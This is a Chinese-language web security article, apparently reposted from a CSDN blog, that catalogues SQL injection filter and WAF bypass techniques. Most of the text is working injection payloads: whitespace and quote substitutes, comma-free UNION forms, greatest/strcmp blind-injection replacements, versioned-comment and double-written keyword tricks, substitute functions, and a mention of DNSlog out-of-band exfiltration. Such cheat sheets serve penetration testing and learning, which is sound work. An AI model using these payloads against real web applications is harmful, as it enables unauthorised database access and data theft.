欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > WEB安全--SQL注入--bypass技巧

WEB安全--SQL注入--bypass技巧

2025/2/21 3:08:20 来源:https://blog.csdn.net/m0_74800552/article/details/145673269  浏览:    关键词:WEB安全--SQL注入--bypass技巧

一、SQL注入时绕过过滤:

1.1、符号被过滤:

1.1.1、空格:

#1.利用括号绕过:
?id=1'and(sleep(ascii(substr(database(),(1),(1)))>115))--#2.利用/**/绕过:
?id=-1'and/**/updatexml(1,concat(database(),0x7e),1)--#3.利用%0a|%0b|%0c|%09|%a0绕过:
?id=-1'and%0aunion%0aselect%0a1,2,database()--

1.1.2、引号:

#1.十六进制编码绕过:
select column_name from information_schema.tables where table_name="users"select column_name from information_schema.tables where table_name=0x7573657273#2.反引号``绕过:
select * from `users`;

1.1.3、逗号:

#1.在substr()、mid()这样的阶段函数中,可以用from for绕过:
substr(str from pos for len)#2.使用join关键字绕过:
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)c#3.在limit中使用offset绕过:
select * from users limit 0,1
select * from users limit 1 offset 0

1.1.4、“< >”:

greatest(n1,n2,n3,...) //返回其中的最大值strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1strcmp(substr(database(),1,1),'s')in 操作符between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),1,1))>64此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),32)=32

1.1.5、注释符:

#1.闭合后面的引号:
id=-1' union select 1,user(),3 and '1'='1#2.截断后面的语句:
id=-1' union select 1,user(),3;%00

1.1.6、等号:

#1.like:
select * from users where id like 1;#2.正则:
select * from users where username regexp('admin');

1.2、关键字被过滤:

如union、select、where等:

#1.如果关键字被替换为空,使用双写或大小写绕过:
?id=-1'UniOn SelECt 1,2,database()--
?id=-1'ununionion selselectect 1,2,user()--#2.如果关键字被正则匹配过滤,可以在注释中写关键字:waf: \bunion(.*?)select\bpayload: /*!50000union/**//**/all*//*!select*/  --绕过\b匹配单词边界/*!%55NiOn*//*!%53eLEct*/              --通过url_encode绕过/**/UNION/**//*!50000SELECT*//**//*--*/union/*--*/select/*--*//**/uNIon/**/sEleCt/**/1e0union/**/select           
?id=1e0union/**/(select+1,(select/**/schema_name/**/from/**/information_schema.schemata
/**/limit/**/0,1),3)#                               --科学计数法绕过\b匹配单词边界

1.3、函数被过滤:

1.3.1、用效果相同的函数代替:

substr()、substring() ==> left()、right()、mid()、lpad()、rpad()
hex()、bin() ==> ascii()
sleep() ==> benchmark()
concat_ws()==>group_concat()
@@user ==> user()
@@datadir ==> datadir()

1.3.2、用生僻函数代替:

polygon() ==> updatexml()

二、绕过输出内容的过滤:

#1.转码:
base64_decode()
hex()#2.解密:
md5#3.将查询结果写入文件再读取:
dnslog外带

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词